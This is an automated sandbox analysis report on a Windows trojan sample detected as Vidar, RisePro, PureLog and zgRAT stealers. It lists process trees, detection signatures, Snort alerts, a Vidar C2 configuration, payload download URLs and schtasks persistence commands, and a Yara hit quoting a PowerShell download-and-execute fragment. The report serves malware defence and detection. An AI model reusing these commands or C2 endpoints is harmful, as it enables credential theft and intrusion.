Edit tour

Windows Analysis Report
BRWgvKaqbg.exe

Overview

General Information

Sample name:	BRWgvKaqbg.exe renamed because original name is a hash value
Original sample name:	c72e70f29d3dd8fa148df55e8e6dec43.exe
Analysis ID:	1463427
MD5:	c72e70f29d3dd8fa148df55e8e6dec43
SHA1:	2f182d43528f78d6d847b37b77da9a09a2ed1f0a
SHA256:	baff3039b9acf97084d1b853f495026c52a4c483d010901e226beb599d23df5b
Tags:	32exetrojan
Infos:

Detection

PureLog Stealer, RisePro Stealer, Vidar, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected RisePro Stealer

Yara detected Vidar stealer

Yara detected zgRAT

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Creates multiple autostart registry keys

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found stalling execution ending in API Sleep call

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

BRWgvKaqbg.exe (PID: 6664 cmdline: "C:\Users\user\Desktop\BRWgvKaqbg.exe" MD5: C72E70F29D3DD8FA148DF55E8E6DEC43)

RegAsm.exe (PID: 3636 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6556 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

schtasks.exe (PID: 6980 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2300 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

s7jOcwxjI7k0XEcaiYN_.exe (PID: 3920 cmdline: "C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe" MD5: C72E70F29D3DD8FA148DF55E8E6DEC43)

RegAsm.exe (PID: 6436 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 5812 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 1848 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 5240 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 7140 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3920 -s 264 MD5: C31336C1EFC2CCB44B4326EA793040F2)

schtasks.exe (PID: 5712 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5300 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

hhUml7ndoUuFxb5WyDjE.exe (PID: 7148 cmdline: "C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe" MD5: F3D3B5411E090124197B7B6297B1D8DB)

RegAsm.exe (PID: 2792 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 3620 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 5888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 5656 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7148 -s 320 MD5: C31336C1EFC2CCB44B4326EA793040F2)

schtasks.exe (PID: 4464 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7204 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

pQuKvF5V8lUXfe4thfRR.exe (PID: 7288 cmdline: "C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe" MD5: CB907B20EE4FB4389D25989D7DE466E8)

RegAsm.exe (PID: 7316 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 7352 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7288 -s 280 MD5: C31336C1EFC2CCB44B4326EA793040F2)

schtasks.exe (PID: 7400 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 6180 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6664 -s 280 MD5: C31336C1EFC2CCB44B4326EA793040F2)

MSIUpdaterV168.exe (PID: 5952 cmdline: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe MD5: C72E70F29D3DD8FA148DF55E8E6DEC43)

RegAsm.exe (PID: 7264 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

MSIUpdaterV168.exe (PID: 3812 cmdline: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe MD5: C72E70F29D3DD8FA148DF55E8E6DEC43)

RegAsm.exe (PID: 7276 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

MSIUpdaterV168.exe (PID: 3292 cmdline: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe MD5: F3D3B5411E090124197B7B6297B1D8DB)

MSIUpdaterV168.exe (PID: 6688 cmdline: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe MD5: F3D3B5411E090124197B7B6297B1D8DB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199707802586", "https://t.me/g067n"], "Botnet": "6b8642176bdf6e69e18dcef863f92aad"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\ZAu2iiJBgBZikoF1oNNHtbO.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000001C.00000002.2274013587.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000002A.00000002.2301583226.000000000045F000.00000004.00000001.01000000.0000000F.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000023.00000002.2326752861.0000000000C5F000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000021.00000002.2304761546.0000000000C5F000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001A.00000002.2302133706.0000000000BFF000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5240	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7264	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: pQuKvF5V8lUXfe4thfRR.exe PID: 7288	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: pQuKvF5V8lUXfe4thfRR.exe PID: 7288	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: pQuKvF5V8lUXfe4thfRR.exe PID: 7288	Molerats_Jul17_Sample_5	Detects Molerats sample - July 2017	Florian Roth	0xaa74:$x1: powershell.exe -nop -c "iex 0xaa9b:$a1: Net.WebClient).DownloadString 0xaf9a:$a1: Net.WebClient).DownloadString
Process Memory Space: RegAsm.exe PID: 7316	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7316	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7316	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
43.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
28.2.RegAsm.exe.400000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
28.2.RegAsm.exe.400000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
28.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x4531f:$s1: file:/// 0x4527b:$s2: {11111-22222-10009-11112} 0x452af:$s3: {11111-22222-50001-00000} 0x424a4:$s4: get_Module 0x3cadf:$s5: Reverse 0x3d847:$s6: BlockCopy 0x3cb1e:$s7: ReadByte 0x45331:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
26.2.hhUml7ndoUuFxb5WyDjE.exe.bd0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
26.2.hhUml7ndoUuFxb5WyDjE.exe.bd0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.hhUml7ndoUuFxb5WyDjE.exe.bd0000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x71d5f:$s1: file:/// 0x71cbb:$s2: {11111-22222-10009-11112} 0x71cef:$s3: {11111-22222-50001-00000} 0x6eee4:$s4: get_Module 0x6951f:$s5: Reverse 0x6a287:$s6: BlockCopy 0x6955e:$s7: ReadByte 0x71d71:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
33.2.MSIUpdaterV168.exe.c30000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
33.2.MSIUpdaterV168.exe.c30000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
33.2.MSIUpdaterV168.exe.c30000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x71d5f:$s1: file:/// 0x71cbb:$s2: {11111-22222-10009-11112} 0x71cef:$s3: {11111-22222-50001-00000} 0x6eee4:$s4: get_Module 0x6951f:$s5: Reverse 0x6a287:$s6: BlockCopy 0x6955e:$s7: ReadByte 0x71d71:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
43.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
35.2.MSIUpdaterV168.exe.c30000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
35.2.MSIUpdaterV168.exe.c30000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
35.2.MSIUpdaterV168.exe.c30000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x71d5f:$s1: file:/// 0x71cbb:$s2: {11111-22222-10009-11112} 0x71cef:$s3: {11111-22222-50001-00000} 0x6eee4:$s4: get_Module 0x6951f:$s5: Reverse 0x6a287:$s6: BlockCopy 0x6955e:$s7: ReadByte 0x71d71:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
42.2.pQuKvF5V8lUXfe4thfRR.exe.430000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\AdobeUpdaterV168.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ProcessId: 6556, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f

Snort Signatures

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.5 - Destination IP: 5.42.67.8

Timestamp:	06/27/24-06:44:33.165311
SID:	2046269
Source Port:	49741
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.5 - Destination IP: 5.42.67.8

Timestamp:	06/27/24-06:44:07.294016
SID:	2049060
Source Port:	49706
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.5

Timestamp:	06/27/24-06:44:36.355417
SID:	2046266
Source Port:	50500
Destination Port:	49755
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (spitechallengddwlsv .xyz) - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	06/27/24-06:44:26.773577
SID:	2054010
Source Port:	65207
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.5 - Destination IP: 5.42.67.8

Timestamp:	06/27/24-06:44:26.352643
SID:	2046269
Source Port:	49723
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.5

Timestamp:	06/27/24-06:44:13.142593
SID:	2046267
Source Port:	50500
Destination Port:	49706
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.5

Timestamp:	06/27/24-06:44:07.857763
SID:	2046266
Source Port:	50500
Destination Port:	49706
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (varitycookypowerw .xyz) - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	06/27/24-06:44:26.793271
SID:	2054014
Source Port:	61566
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.5 - Destination IP: 5.42.67.8

Timestamp:	06/27/24-06:44:10.977590
SID:	2046269
Source Port:	49706
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.5

Timestamp:	06/27/24-06:44:23.216805
SID:	2046266
Source Port:	50500
Destination Port:	49723
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.5

Timestamp:	06/27/24-06:44:30.039904
SID:	2046266
Source Port:	50500
Destination Port:	49741
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.5

Timestamp:	06/27/24-06:44:30.017263
SID:	2046266
Source Port:	50500
Destination Port:	49740
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.5 - Destination IP: 5.42.67.8

Timestamp:	06/27/24-06:44:33.149483
SID:	2046269
Source Port:	49740
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://5.42.67.8/vidar2606.exe3	Avira URL Cloud: Label: phishing
Source: http://5.42.67.8/lumma2606.exe	Avira URL Cloud: Label: phishing
Source: http://5.42.67.8/vidar2606.exea	Avira URL Cloud: Label: phishing
Source: http://5.42.67.8/meta2606.exev	Avira URL Cloud: Label: phishing
Source: http://5.42.67.8/vidar2606.exe_	Avira URL Cloud: Label: phishing
Source: http://5.42.67.8/rise2606.exeNp	Avira URL Cloud: Label: phishing
Source: http://5.42.67.8/meta2606.exe	Avira URL Cloud: Label: phishing
Source: http://5.42.67.8/lumma2606.exep	Avira URL Cloud: Label: phishing
Source: http://5.42.67.8/vidar2606.exe	Avira URL Cloud: Label: phishing
Source: http://5.42.67.8/rise2606.exe	Avira URL Cloud: Label: phishing
Source: https://steamcommunity.com/profiles/76561199707802586	Avira URL Cloud: Label: malware
Source: https://t.me/g067n	Avira URL Cloud: Label: malware
Source: http://5.42.67.8/vidar2606.exe-	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 0000002A.00000002.2301583226.000000000045F000.00000004.00000001.01000000.0000000F.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199707802586", "https://t.me/g067n"], "Botnet": "6b8642176bdf6e69e18dcef863f92aad"}

Multi AV Scanner detection for domain / URL

Source: http://5.42.67.8/lumma2606.exe	Virustotal: Detection: 17%	Perma Link
Source: https://49.13.33.235:9000	Virustotal: Detection: 11%	Perma Link
Source: https://49.13.33.235:9000/	Virustotal: Detection: 11%	Perma Link
Source: https://49.13.33.235/0	Virustotal: Detection: 12%	Perma Link
Source: http://5.42.67.8/meta2606.exe	Virustotal: Detection: 17%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	ReversingLabs: Detection: 79%
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	ReversingLabs: Detection: 62%
Source: C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe	ReversingLabs: Detection: 57%
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\AdobeUpdaterV168.exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\AdobeUpdaterV168.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\AdobeUpdaterV168.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vidar2606[1].exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\meta2606[1].exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\lumma2606[1].exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\rise2606[1].exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\ijOeGUQOWTvL4Jd0VuCY.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: BRWgvKaqbg.exe	Virustotal: Detection: 40%			Perma Link
Source: BRWgvKaqbg.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\rise2606[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\meta2606[1].exe	Joe Sandbox ML: detected
